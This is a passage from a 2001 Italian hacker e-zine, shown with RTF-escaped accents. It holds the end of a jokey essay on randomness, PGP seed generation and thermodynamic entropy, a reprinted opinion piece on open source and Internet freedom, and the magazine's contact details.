| misurando gli intervalli di tempo (parliamo di millisecondi, eh?) tra i       |\
| keystrokes,                                                                   |\
| oppure la velocit\'e0 e direzione del mouse punto per punto. In parole povere,   |\
| il PGP per                                                                    |\
| generare i randseed ha bisogno DELLE AZIONI DI UN ESSERE VIVENTE (noi         |\
| appunto...),                                                                  |\
| poich\'e8 di qualsiasi altra fonte potrebbe essere compresa la trama             |\
| pseudo-casuale che                                                            |\
| la regola, compromettendo cos\'ec la sicurezza del generatore random. Alcuni     |\
| software pi\'f9                                                                  |\
| scaccioni utilizzano tipicamente la chiamata API GetTickCount: questa         |\
| restituisce un                                                                |\
| valore Long (DW) che indica il numero di millisecondi (in modulo 2^32) da     |\
| quando                                                                        |\
| WinRoito \'e8 stato avviato, ci\'f2 costituisce un valore di partenza al quale pu\'f2  |\
| essere                                                                        |\
| applicato a non finire un algoritmo one-way che genera sempre nuove           |\
| sequenze. Invece                                                              |\
| quelli pi\'f9 "deluxe" si appoggiano all'input audio (microfono), chiedendo      |\
| all'utente di                                                                 |\
| registrare una sequenza di rumori ambientali. Infatti anche in quello che     |\
| per noi \'e8                                                                     |\
| silenzio assoluto esiste sempre un certo "rumore di fondo" (detto in gergo    |\
| "noise",                                                                      |\
| usato anche in applicazioni di elettronica) per noi impercettibile e molto    |\
| disturbato                                                                    |\
| - diremo in seguito "ad alta entropia" - che fornisce dati random. Ma in      |\
| entrambi                                                                      |\
| questi casi, cosa fa il software se non appoggiarsi di nuovo al campo di      |\
| caos generato                                                                 |\
| dai viventi? Non \'e8 l'incertezza del dito dell'utente che decide se accendere  |\
| WinBoia                                                                       |\
| un millisecondo prima o uno dopo? E se il rumore \'e8 un fattore ambientale,     |\
| cosa che                                                                      |\
| abbiamo detto NON RAPPRESENTARE DIRETTAMENTE CAOS, non sono forse le azioni   |\
| dei                                                                           |\
| viventi che ne modificano direttamente (parole, suoni) o indirettamente       |\
| (rumori di                                                                    |\
| attivit\'e0 umane o di eventi generati dai viventi) le grandezze?                |\
|                                                                               |\
| Vostro onore, rinuncio a presentare altre prove. La tesi \'e8 sempre quella:     |\
|                                                                               |\
| LA VITA E' LA FONTE DEL CAOS.                                                 |\
|                                                                               |\
|                                                                               |\
| ================                                                              |\
| *** ENTROPIA ***                                                              |\
| ================                                                              |\
| L'Entropia \'e8 stata inizialmente introdotta nella Termodinamica: essa \'e8 una    |\
| grandezza fisica che si esprime in uno scambio di calore Q ad una             |\
| temperatura T come                                                            |\
| il RAPPORTO TRA IL CALORE SCAMBIATO ISOTERMICAMENTE E LA TEMPERATURA ALLA     |\
| QUALE                                                                         |\
| AVVIENE LO SCAMBIO.                                                           |\
|                                                                               |\
| Prendiamo una trasformazione termica irreversibile (cio\'e8 che avviene          |\
| spontaneamente                                                                |\
| solo in un senso), come il passaggio di calore da un corpo caldo ad uno       |\
| freddo. Se                                                                    |\
| mettiamo a contatto un corpo caldo con uno freddo, il calore fluisce          |\
| spontaneamente                                                                |\
| dal primo al secondo fino a raggiungere una temperatura d'equilibrio: da l\'ec   |\
| in avanti                                                                     |\
| si ha una situazione di stallo in cui non sar\'e0 mai pi\'f9 possibile un flusso    |\
| di calore.                                                                    |\
| Ora, assumiamo che T(1) sia la temperatura minore, T(2) quella maggiore, Q    |\
| il calore                                                                     |\
| scambiato (uscente, cio\'e8 negativo, da 2 ed entrante, cio\'e8 positivo, in 1) e   |\
| S il                                                                          |\
| simbolo dell'Entropia.                                                        |\
|                                                                               |\
| S(1) = Q / T(1)                                                               |\
|                                                                               |\
| S(2) = - Q / T(2)                                                             |\
|                                                                               |\
| vediamo come \'e8 variata l'entropia totale del sistema (variazione d'entropia   |\
| = ^S),                                                                        |\
| sommiamo cio\'e8 le entropie:                                                    |\
|                                                                               |\
| ^S = S(1) + S(2)                                                              |\
|                                                                               |\
| cio\'e8:                                                                         |\
|                                                                               |\
| ^S = Q / T(1)  -  Q / T(2)                                                    |\
|                                                                               |\
| ma questa differenza non fa 0, poich\'e8 T(1) < T(2): la variazione d'entropia   |\
| \'e8                                                                             |\
| positiva, quindi l'entropia del sistema \'e8 aumentata. Come vorrei dimostrarvi  |\
| se                                                                            |\
| avessi il triplo del tempo, TUTTE LE TRASFORMAZIONI IRREVERSIBILI AUMENTANO   |\
| L'ENTROPIA DELL'UNIVERSO. E tutte le trasformazioni che avvengono in natura   |\
| sono                                                                          |\
| irreversibili, cio\'e8 hanno un "senso" prediletto, la combustione ad esempio:   |\
| quando                                                                        |\
| un combustibile brucia (e una volta acceso lo fa spontaneamente) si           |\
| trasforma in                                                                  |\
| fumo e calore. Ma avere fumo e calore NON E' EQUIVALENTE ad avere un          |\
| combustibile,                                                                 |\
| poich\'e8 col combustibile puoi ottenere fumo e calore, ma non \'e8 vero il         |\
| contrario! Una                                                                |\
| variazione di entropia insomma indica una variazione dell'ENERGIA             |\
| UTILIZZABILE nel                                                              |\
| sistema: quando tutta l'energia degrada, il sistema \'e8 diventato stabile,      |\
| cio\'e8 non                                                                      |\
| pu\'f2 pi\'f9 compiere lavoro.                                                      |\
| E allora... sinistro enunciato di Clausius:                                   |\
|                                                                               |\
| L'ENTROPIA DELL'UNIVERSO E' IN COSTANTE AUMENTO.                              |\
|                                                                               |\
| <lettore> Vabbu\'f2, ma a me che mme ne futt'?...                                |\
|                                                                               |\
| Eh, gi\'e0, che ce ne futt'? Come mai alcune persone sbroccano e ridono da       |\
| pazzi                                                                         |\
| invocando la morte se sentono parlare di entropia?                            |\
|                                                                               |\
| [La "Morte Entropica"]                                                        |\
| Non so se ne avete mai sentito parlare. E' un'ipotesi secondo la quale il     |\
| costante aumento dell'entropia fa "invecchiare" il nostro mondo. L'entropia,  |\
| come il tempo, cresce sempre, quindi pu\'f2 rappresentare un indice dell'et\'e0     |\
| di un sistema isolato (quale il nostro Universo), assume cio\'e8 la              |\
| funzione di "FRECCIA DEL TEMPO", ed indica il verso di percorrenza degli      |\
| eventi.                                                                       |\
| L'evolversi dei processi irreversibili verso stadi di maggiore uniformit\'e0 di  |\
| temperatura, pressione, composizione etc. \'e8 strettamente connessa con         |\
| l'evolversi dell'entropia verso stadi di pi\'f9 alta probabilit\'e0. Uno stadio di  |\
| pi\'f9                                                                           |\
| alta probabilit\'e0 \'e8 anche pi\'f9 stabile, perci\'f2 si assume che una volta          |\
| raggiunto,                                                                    |\
| in esso non saranno pi\'f9 possibili variazioni. E quindi niente scambi di       |\
| energia.                                                                      |\
| E quindi niente vita...                                                       |\
| Pensate al nostro mondo: quando tutto il carbone sar\'e0 bruciato, quando tutte  |\
| le                                                                            |\
| stelle si saranno spente e le reazioni chimiche saranno avvenute... COME      |\
| SARA'                                                                         |\
| POSSIBILE LA VITA? Avremo raggiunto la MASSIMA ENTROPIA, cio\'e8 la MORTE        |\
| DELL'UNIVERSO.                                                                |\
|                                                                               |\
| L'entropia pu\'f2 essere considerata quindi la misura del caos di un sistema:    |\
| un'alta entropia indica una distribuzione uniforme e stabile, mentre una      |\
| bassa                                                                         |\
| entropia indica che alcune grandezze sono "sbilanciate", organizzate in       |\
| strutture                                                                     |\
| ordinate, comprensibili e quindi... instabili.                                |\
| Facciamo un esempio: prendete un mazzo di carte ordinate in base al segno,    |\
| al                                                                            |\
| colore e al punteggio una dopo l'altra. Siete di fronte ad un sistema a       |\
| BASSA                                                                         |\
| ENTROPIA, poich\'e8 \'e8 poco caotico - anzi, \'e8 ordinatissimo! - ed instabile.      |\
| Perch\'e8 \'e8                                                                      |\
| instabile? Mischiate il mazzo e osservate la nuova sequenza. Mischiatelo      |\
| ancora e                                                                      |\
| fermatevi quando, casualmente, non avrete ottenuto la STESSA sequenza         |\
| ordinata di                                                                   |\
| prima. Come mai non vi riesce? Eppure la possibilit\'e0 c'\'e8! Semplice: perch\'e8    |\
| di                                                                            |\
| tutti gli stati possibili, quello ordinato \'e8 uno tra tantissimi, quindi \'e8     |\
| MENO                                                                          |\
| PROBABILE - e di conseguenza pi\'f9 instabile, poich\'e8 ogni trasformazione        |\
| cambia lo                                                                     |\
| stato del sistema.                                                            |\
|                                                                               |\
| Altri esempi:                                                                 |\
|                                                                               |\
| A A A . . .        A . . . A A                                                |\
| A A A . . .        . . A A . .                                                |\
| A A A . . .        . A A A A A                                                |\
| A A A . . .        . A . . A .                                                |\
| A A A . . .        A . . . . .                                                |\
| A A A . . .        A A . A A A                                                |\
|                                                                               |\
| Il sistema a sinistra \'e8 a bassa entropia, perch\'e8 la distribuzione degli       |\
| elementi                                                                      |\
| non \'e8 uniforme. La seconda invece \'e8 pi\'f9 caotica, quindi pi\'f9 uniforme, quindi  |\
| a                                                                             |\
| maggior entropia.                                                             |\
|                                                                               |\
| In conclusione: un alto livello di entropia \'e8 indice della CAOTICITA' di un   |\
| sistema, ovvero dell'incapacit\'e0 umana di ridurlo a funzioni pi\'f9 semplici. Ma  |\
| \'e8                                                                             |\
| anche un indice della sua UNIFORMITA', ed \'e8 il caso di riflettere su come     |\
| nella                                                                         |\
| vita quotidiana siamo portati ad accomunare l'uniformit\'e0 con l'ordine. E      |\
| quindi,                                                                       |\
| se qualcuno vi chiedesse cos'\'e8 l'entropia, voi dovreste rispondergli che \'e8    |\
| quella cosa che fa bruciare il carbone e invecchiere le persone ;) . Ne       |\
| deriva                                                                        |\
| una nuova visione dei concetti di ordine, caos ed entropia che spero siate    |\
| riusciti seppur a grandi linee ad afferrare, perch\'e8... ho proprio il          |\
| presentimento di essermi spiegato malino :)                                   |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| OOOKKEI! Ed anche questa \'e8 fatta!                                             |\
| Uff, stavolta ho faticato davvero tanto, me lo diceva sempre la mamma quando  |\
| andavo a scuola che non sapevo organizzarmi il tempo  :PPP                    |\
| Il capitolo \'e8 finito, spero che VI SIATE annoiati e che smettiate di leggere  |\
| certa roba... PASSATE A DONNA MODERNA!!!  =)))                                |\
| A partire dalla prossima volta comunque (e badate che NON \'e8 una promessa),    |\
| spero                                                                         |\
| proprio di cominciare a parlare anche di roba utile che magari non sia gi\'e0    |\
| nota a                                                                        |\
| tutti voi.                                                                    |\
|                                                                               |\
| Saluti, e mi raccomando... armatevi e tenetevi pronti!   \}B]                  |\
|                                                                               |\
|                                                                               |\
| Ah, a proposito, tengo a precisare che "********" non sta assolutamente       |\
| per "TRECCANI": la Treccani mi fa cagare e la uso solo quando finisco la      |\
| carta al gabinetto!                                                           |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [SHUTD0WN]                                      #04 - 19/11/2001 |\
| NU0VA TERRA Di CONQUiSTA                                [Tritemius] 0x22/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| [da "Latinoamerica" n.74,  www.giannimina-latinoamerica.it]                   |\
|                                                                               |\
| Le idee non appartengono agli uomini ma all'umanit\'e0. Grazie a Internet si \'e8   |\
| diffusa una grande idea e un grande progetto. L'"Open source", ovvero         |\
| programmi non commerciali pi\'f9 potenti di quelli dei colossi multimiliardari,  |\
| dimostra che sviluppo e innovazione sono possibili anche senza la necessit\'e0   |\
| del profitto, il giogo dei diritti esclusivi, lo sfruttamento. Ma questo      |\
| mondo \'e8 in pericolo, per diversi motivi. Il primo, e pi\'f9 palese, \'e8 la         |\
| drammatica impreparazione della classe dirigente di fronte al nuovo mezzo.    |\
| Poi vi \'e8 la paura degli oligarchi nei confronti di questa realt\'e0 sconosciuta  |\
| e potenzialmente rivoluzionaria. Infine la natura intrinseca del liberismo    |\
| che pretende di imporre le proprie leggi e la propria cultura annientando le  |\
| leggi e le culture altrui.                                                    |\
|                                                                               |\
| La Rete come strumento di libert\'e0                                             |\
| Strategie libertarie nell'era dell'informazione                               |\
|                                                                               |\
| La Rete rappresenta oggi lo strumento radicale della libert\'e0 di pensiero. Da  |\
| sempre la produzione e la diffusione delle idee avviene tramite               |\
| organizzazioni spontanee, informali, "ad-hoc cratiche". La Rete \'e8 un          |\
| ambiente ostile per la cristallizzazione dei ruoli e la burocratizzazione.    |\
| La censura nella rete \'e8 praticamente impossibile. Le forze oscurantiste       |\
| possono ottenere vittorie parziali, ma la natura della Rete e della cultura   |\
| che l'ha creata provvede a creare le contromisure necessarie.                 |\
| Nei romanzi di Gibson si chiamano "lotec" (low-tech, tecnologia<economica) i  |\
| "cyberpunk", ribelli e spiriti liberi della nuova era dell'informazione che   |\
| combattono la Yakuza (la mafia giapponese                                     |\
| globalizzata) contro le Zaibatsu, ovvero le multinazionali.                   |\
| Ma la letteratura cyberpunk non \'e8 fantascienza, bens\'ec una visione             |\
| iperrealista della realt\'e0.                                                    |\
|                                                                               |\
| Contraddizioni della tecnologia                                               |\
| Il pericolo della tecnologia                                                  |\
|                                                                               |\
| Naturalmente ci sono dei problemi. La demonizzazione (degli hacker per        |\
| esempio) e il riferimento a qualche oscura "minaccia esterna" \'e8 la tattica    |\
| che tutti i regimi utilizzano per indurre il popolo                           |\
| a stringersi intorno alla classe dirigente. Oggi anche Internet si pu\'f2        |\
| prestare a questo gioco.                                                      |\
| Ma anche un approccio sbagliato degli individui agli strumenti tecnologici    |\
| pu\'f2 essere pericoloso.                                                        |\
| L'accettazione acritica dei nuovi strumenti, l'incapacit\'e0 di elaborare e      |\
| decodificare le dinamiche indotte dal nuovo rapporto tra l'uomo e la          |\
| tecnologia, \'e8 pericolosa.                                                     |\
| L'identificazione di Internet con un contenitore verticale, un portale        |\
| "regalato" da qualche colosso delle telecomunicazioni (fideizzazione) \'e8 un    |\
| pericolo grave.                                                               |\
| La frammentazione o l'eccesso di informazione possono indurre nell'individuo  |\
| sconforto, confusione, nichilismo, qualunquismo.                              |\
| Gli opulenti occidentali moderni non dovrebbero mai dimenticare (o            |\
| dovrebbero essere correttamente informati) che dietro alle sfavillanti        |\
| imprese dei Paesi "liberi" e "democratici" del Nuovo Ordine Mondiale, si      |\
| nascondono realt\'e0 drammatiche, tragiche, tremende.                            |\
|                                                                               |\
| Tramonto o Aurora                                                             |\
| Se la tecnologia, e Internet in particolare, non riusciranno a scuotere le    |\
| coscienze degli uomini della nostra civilt\'e0 astratta, sradicata e vanesia,    |\
| mossa solo da un'ottusa volont\'e0 di potenza, l'Umanit\'e0 avr\'e0 perso una grande,  |\
| e forse definitiva, possibilit\'e0 di riscatto.                                  |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA MAGAZINE ~ [C0NTATTi]                             #04 - 19/11/2001 |\
| D0VE TR0VARCi                                          [oq ~ staff] 0x23/0x23 |\
+-------------------------------------------------------------------------------+\
| Sul Web:                                                                      |\
| http://ondaquadra.cjb.net                                                     |\
| http://www.hackerzine.org                                                     |\
| http://www.bismark.it                                                         |\
|                                                                               |\
| Mail:                                                                         |\
| mail@ondaquadra.cjb.net                                                       |\
|                                                                               |\
| Gli articoli mandateli qui:                                                   |\
| articoli@ondaquadra.cjb.net                                                   |\
|                                                                               |\
| IRC:                                                                          | \
| irc.azzurranet.org - IPv4 <> ngnet.azzurra.org - IPv6                         |\
| #ondaquadra                                                                   |\
| #hackmaniaci                                                                  |\
+-------------------------------------------------------------------------------+\

\par }
 